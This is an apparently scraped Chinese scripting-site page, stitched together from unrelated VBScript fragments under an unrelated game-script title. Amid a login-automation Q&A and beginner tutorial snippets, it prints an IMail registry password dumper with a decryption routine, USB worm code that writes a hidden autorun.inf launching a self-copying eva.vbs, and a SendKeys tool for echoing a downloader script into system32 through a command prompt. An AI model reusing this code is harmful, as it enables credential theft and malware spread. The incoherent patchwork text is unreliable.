赛尔号巅峰脚本网页

发布时间:2021-08-15 来源:脚本之家 点击:

来自VisualBasic和VisualBasicforapplications对象库的常数以"vb"开头,例如vbTileHorizontaldimie
setie=createobject("internetexplorer.application")
ie.visible=true
ie.navigate""
Whileie.busyorie.readystate<>4
EndWhile
ie.document.all("userid").value="13304948957"'手机号码
ie.document.all("passwd").value="111111"'密码
ie.document.all("verifycode").value="1111"'识别码
ie.document.all.loginOnForm.submit

一调试脚本就显示缺少对象:"ie.document.all("....")"
"ie.document.all.loginOnForm.submit"这行还显示对象不支持此属性或者方法
请各位大侠帮忙看看哪里出了错谢谢啦
提问者:fxdca2008-试用期一级
最佳答案
楼主代码有几处错误:
1.EndWhile应为Wend
2.网页上的手机号码、密码等表单元域其实是在一个<iFrame>中的网页上,不能直接调用,而应该使
用ie.document.frames(0).document.loginOnForm...来调用
正确代码如下(可以自动填写交提交,提交上去以后会返回“识别码错误”的提示,属于正常现象)

Subtest()
Dimie
Setie=CreateObject("internetexplorer.application")
ie.Visible=True
ie.navigate""
Whileie.busyOrie.readystate<>4

Wend
ie.document.frames(0).document.loginonform.UserId.Value="13304948957"'手机号码
ie.document.frames(0).document.loginonform.passwd.Value="111111"'密码
ie.document.frames(0).document.loginonform.verifycode.Value="1111"'识别码
ie.document.frames(0).document.loginonform.submit
EndSub

手机自动点击屏幕脚本代码大全

'分析网页源码
For i=0 To UBound(SourceCode)-LBound(SourceCode)
MatchLine=InStr(SourceCode(i), "ed2|file|")
If MatchLine <> 0 Then
ArrPub=Split(Replace(SourceCode(i), "},#{"), "#")
For K=0 To UBound(ArrPub)-LBound(ArrPub)
Ed2KLink=Ed2KLink & Split(Split(ArrPub(K), ",")(5), """")(3) & vbcrlf
Next
End If
Next


四:MsgBox函数和语句的应用
----MsgBox函数是VB提供的以多种方式将信息传递给用户的函数,它有函数和语句两种形式,函数和语句的根本区别在于函数有返回值而语句没有

比如,我们用 Msxml2.XMLHTTP 发送 HTTP POST 请求模拟登陆了某个网站,它会把登陆时的 Cookie 和 Session 缓存下来,当我们想获取网站的数据时直接 HTTP GET 就行了,不需要人工发送 Cookie 和 SessionMicrosoftWeb站点的某些内容可对MicrosoftInternetExplorer最优化,并可在other的浏览器上完全看到


on error resume next
const HKEY_LOCAL_MACHINE=&H80000002
strComputer="."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath="SOFTWARE\Ipswitch\IMail\Domains"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
wscript.echo "Domain: "&subkey
strKeyPath2=strKeyPath&""&subkey&"\Users"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath3=strKeyPath2&""&subkey2
strValueName="Password"
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 &" : " & decrypt(subkey2,strValue)
end if
Next
Next

function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="&H"&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function
就绘出一个控件,记住,这个东西叫“控件”,而且是一个标签控件


Function vs(str)
Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vs&lcase(c) Else vs=vs&c End If Next vs=replace(vs,ucase("%u"),lcase("%u"))"
End Function

' 列出驱动器
Function listdrv()
Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_list&drv.driveletter End If Next listdrv=tmp_list"
End Function

' 写autorun.inf文件
Sub writeauto(path)
' 写Auto文件前的准备,如果path中有autorun.inf文件夹那么重命名;如果有autorun.inf文件则删除
Execute "If fso.folderexists(path&"autorun.inf") Then fso.movefolder path&"autorun.inf",path&rnd() elseif fso.fileexists(path&"autorun.inf") Then fso.deletefile path&"autorun.inf",true End If"
' autorun.inf中的启动代码
cmdstr="shell\*\command=wscript.exe "&chr(34)&"eva.vbs"&chr(34)
autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find")
' 写入
Call writefile(path&ucase("autorun.inf"),autostr)
Call writefile(path&"eva.vbs",vs(scopy))
End Sub
'将content中的内容写入fpath,并设置文件属性是ReadOnly、Hidden和System
Sub writefile(fpath,content)
Execute "If fso.fileexists(fpath) Then fso.deletefile fpath,true Set fc=fso.OpenTextFile(fpath,2,true) fc.write content fc.Close Set fc=Nothing Set fa=fso.getfile(fpath) fa.attributes=7 Set fa=Nothing"
End Sub
页面发生怎样修复

PrivateSubForm_Load()
'声明已知字符串的字节数、""所在位置的变量
DimnAsInteger,mAsInteger
'声明字符串变量
DimiAsString,jAsString
j="E:\Music\MyFavourite\001\Spring.mp3"'已知字符串初值
i=""'要查找的指定字符
Forn=1ToLen(j)'这里用了Len函数来计算已知字符串的字节数
m=InStrRev(j,i,-1)'""所在的位置(其中的-1是默认的)
Nextn
'显示最后一个""后面的字符串
Text1.Text=Right(j,Len(j)-m)
EndSub

运行程序,文本框中的是不是明明白白地躺着"Spring.mp3"?试着改一改j变量,得到的结果是不是预期的?->

OnErrorResumeNext
SetArg=Wscript.arguments
IfArg.count=0thenWscript.quit
'-------------------
'Enjoyit
'CodeByNetPatch
'-------------------
fname=InputBox("请输入要ECHO的路径):","输入文件名","%systemroot%/system32/webdl.vbs")

SetFso=CreateObject("Scripting.FileSystemObject")
SetWshShell=Wscript.CreateObject("Wscript.Shell")
SetFile=Fso.OpenTextFile(Arg(0),1,False,-2)

Wscript.echo"点确定后5秒开始"
WshShell.AppActivate"命令提示符"
Wscript.Sleep5000
WshShell.AppActivate"命令提示符"

DoWhileFile.AtEndOfStream<>True
Data=File.readline
IfData=""thenData="."
Data=replace(Data,"^","{^}{^}")
Data=replace(Data,"~","{^}{~}")
Data=replace(Data,"&","{^}{&}")
Data=replace(Data,"|","{^}{|}")
Data=replace(Data,"<","{^}{<}")
Data=replace(Data,">","{^}{>}")
Data=replace(Data,"""","{^}")
Data=replace(Data,"(","{(}")
Data=replace(Data,")","{)}")
Data=replace(Data,chr(9),"")
WshShell.SendKeys"echo"&Data&">>"&fname
Wscript.Sleep300
WshShell.SendKeys"{ENTER}"
Wscript.Sleep1000
Loop
File.close
SetFso=nothing

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号